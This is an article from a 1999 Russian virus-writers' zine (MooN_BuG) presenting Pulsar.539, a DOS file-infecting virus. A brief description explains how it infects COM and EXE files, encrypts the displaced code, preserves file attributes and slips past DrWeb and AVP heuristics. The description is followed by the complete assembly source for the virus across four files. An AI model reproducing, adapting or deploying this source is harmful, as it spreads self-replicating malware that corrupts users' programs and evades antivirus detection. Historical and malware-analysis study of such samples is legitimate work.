[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999 file 00D
Вирус Pulsar.539
by RedArc
Нерезидентный вирус. Инфицирует COM и EXE файлы в текущем каталоге по
методу вирусов типа HLLP: инфицирует в начало, а старое начало переносит в
конец файла, предварительно его зашифровав. Инфицирует только файлы, длина
которых не кратна 2. Соответственно, после инфицирования, длина файла
становится кратна 2. Перед запуском жертвы, вирус ее предварительно лечит на
диске и исполняет через функцию Exec. Инфицирует файлы с атрибутами ReadOnly.
Сохраняет время и атрибуты. Инфицирует файлы, длина которых не меньше длины
самого вируса и не более 65535 байт, однако после инфицирования длина файла
может превышать 65535 байт (что ни есть хорошо).
В общем, в этом вирусе нет ничего примечательного за исключением того,
что вирусы подобного типа не ловятся эвристиками DrWeb и AVP. Как это ни
странно ;)
=== Cut === Pulsar.asm
Model Tiny
.486
.code
org 100h
start:
; подготовка для передачи управления программе-жертве
cmp subprocname[0],0
je EndStart
lea dx,subprocname
xchg cx,ax
call SetFileAttr
call OpenFile
xor ax,ax
call DataTimeFile
mov word ptr ds:Temp[0],cx
mov word ptr ds:Temp[2],dx
call MoveHandle2End
call ReadFromFile
call MoveHandle2End
mov ax,ProgLength
mov cx,MyLength
lea dx,MainBuff
call XorBuff1
xor cx,cx
xor dx,dx
call Write2File
mov ProgLength,0
call MoveHandle2End
lea dx,MainBuff
mov cx,MyLength
call Write2File
mov cx,word ptr ds:Temp[0]
mov dx,word ptr ds:Temp[2]
mov word ptr ds:[96h],cx
mov word ptr ds:[98h],dx
call CloseFile
; исполнение программы-жертвы
mov ax,400h
mov bx,400h
call Memory
jc EndStart
lea di,EPB
call MakeEPB
lea di,_stack
lea dx,subprocname
lea bx,EPB
call Exec
EndStart:
mov bx,0ffffh
EStart:
mov ax,0fffeh
call Memory
jc EStart
;---
; создаем маску для поиска EXE-файлов
mov subprocname [0],'*'
mov subprocname [1],'.'
mov subprocname [2],'e'
mov subprocname [3],'x'
mov subprocname [4],'e'
mov subprocname [5],0
call FindFile
; создаем маску для поиска COM-файлов
mov subprocname [0],'*'
mov subprocname [1],'.'
mov subprocname [2],'c'
mov subprocname [3],'o'
mov subprocname [4],'m'
mov subprocname [5],0
call FindFile
mov ax,4c00h
int 21h
;---
FindFile:
; поиск первого файла
mov ah,4eh
lea dx,subprocname
mov cx,0ffh
Interrupt:
int 21h
jnb TestFile
ret
; файл найден, нужно проверить на заражение
TestFile:
mov si,9eh
lea di,subprocname
xor cx,cx
mov ax,cx
cld
; устанавливаем имя найденного файла
TestName:
lodsb
stosb
inc cx
cmp al,ah
je NameOk
cmp cx,13
jne TestName
BadName:
mov ah,4fh
jmp short Interrupt
NameOk:
; проверяем длину инфицированного файла
mov bx,word ptr ds:[9ah]
cmp bx,MyLength
jle BadName
mov ax,word ptr ds:[9ch]
cmp ax,0
jne BadName
mov ax,bx
shr ax,1
jnc BadName
mov ProgLength,bx
lea dx,subprocname
xor cx,cx
call SetFileAttr
call OpenFile
call ReadFromFile
call MoveHandle2End
lea dx,MainBuff
mov cx,MyLength
push cx
call XorBuff
call Write2File
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
xor dx,dx
pop cx
inc dh
call Write2File
call CloseFile
lea dx,subprocname
xor cx,cx
mov cl,byte ptr ds:[95h]
call SetFileAttr
jmp short BadName
;---
db 'R' xor 0adh, 'e' xor 0adh, 'd' xor 0adh, 'A' xor 0adh, 'r' xor 0adh, 'c' xor 0adh
db 01h
include subrout1.inc
include subrout2.inc
include daten.inc
MyLength equ $-start
MainBuff label byte
end start
=== Cut ===
=== Cut === subrout1.inc
; БИБЛИОТЕКА ПОДПРОГРАММ
;-----------------------------------------------------------------------------
;Intro: Выполнить внешнюю программу
;Input: DS:DX - имя программы
; ES:BX - блок параметров для запуска подпроцесса
; CS:DI - место для хранения переменных в формате dd
;Output: AX - код ошибки, если установлен CF
;Destroy: все регистры
Exec:
mov ax,4b00h
push ds es
mov word ptr cs:[di],ss
mov word ptr cs:[di+2],sp
mov DI_SAVE,di
int 21h
mov di,DI_SAVE
cli
mov sp,cs:[di+2]
mov ss,cs:[di]
sti
pop es ds
mov dx,80h
mov ah,1ah
int 21h
ret
DI_SAVE dw ?
;-----------------------------------------------------------------------------
;Intro: Изменение блока доступной памяти
;Input: AX - оставляемый размер стека
; ES - распределяемый блок
; BX - желаемый размер блока
;Output: AX - код ошибки, если установлен CF
;Destroy: DI
Memory:
pop di
mov sp,ax
mov ah,4ah
int 21h
jmp di
;-----------------------------------------------------------------------------
;Intro: Подготовка блока параметров для запуска
;Input: DS:DI - блок параметров
;Output: none
;Destroy: none
MakeEPB:
mov word ptr ds:[di+4],es
mov word ptr ds:[di+8],es
mov word ptr ds:[di+12],es
ret
;-----------------------------------------------------------------------------
=== Cut ===
=== Cut === subrout2.inc
; БИБЛИОТЕКА ПОДПРОГРАММ
;-----------------------------------------------------------------------------
OpenFile:
mov ax,3d02h
int 21h
xchg bx,ax
ret
;-----------------------------------------------------------------------------
MoveHandle2End:
mov ax,4200h
cwd
mov cx,ProgLength
xchg cx,dx
int 21h
ret
;-----------------------------------------------------------------------------
Write2File:
mov ah,40h
int 21h
ret
;-----------------------------------------------------------------------------
ReadFromFile:
mov ah,3fh
lea dx,MainBuff
mov cx,MyLength
int 21h
ret
;-----------------------------------------------------------------------------
CloseFile:
mov al,01h
mov cx,word ptr ds:[96h]
mov dx,word ptr ds:[98h]
call DataTimeFile
mov ah,3eh
int 21h
ret
;-----------------------------------------------------------------------------
SetFileAttr:
mov ax,4301h
int 21h
ret
;-----------------------------------------------------------------------------
DataTimeFile:
mov ah,57h
int 21h
ret
;-----------------------------------------------------------------------------
XorBuff:
mov di,dx
mov si,dx
push cx
XB:
lodsb
xor al,ah
add al,cl
stosb
loop XB
pop cx
ret
;-----------------------------------------------------------------------------
XorBuff1:
mov di,dx
mov si,dx
push cx
XB1:
lodsb
sub al,cl
xor al,ah
stosb
loop XB1
pop cx
ret
;-----------------------------------------------------------------------------
=== Cut ===
=== Cut === daten.inc
;-----------------------------------------------------------------------------
ProgLength dw ?
;-----------------------------------------------------------------------------
; имя программы для запуска
subprocname db 12 dup (?)
db 0h
;-----------------------------------------------------------------------------
; блок параметров exec
EPB label byte
_seg dw 00h
dw 80h
_segCMD dw 00h
dw 5ch
_segFCB1 dw 00h
dw 6ch
_segFCB2 dw 00h
;-----------------------------------------------------------------------------
; внутренний стек
_stack dw 00h
_stackp dw 00h
;-----------------------------------------------------------------------------
Temp dd ?
=== Cut ===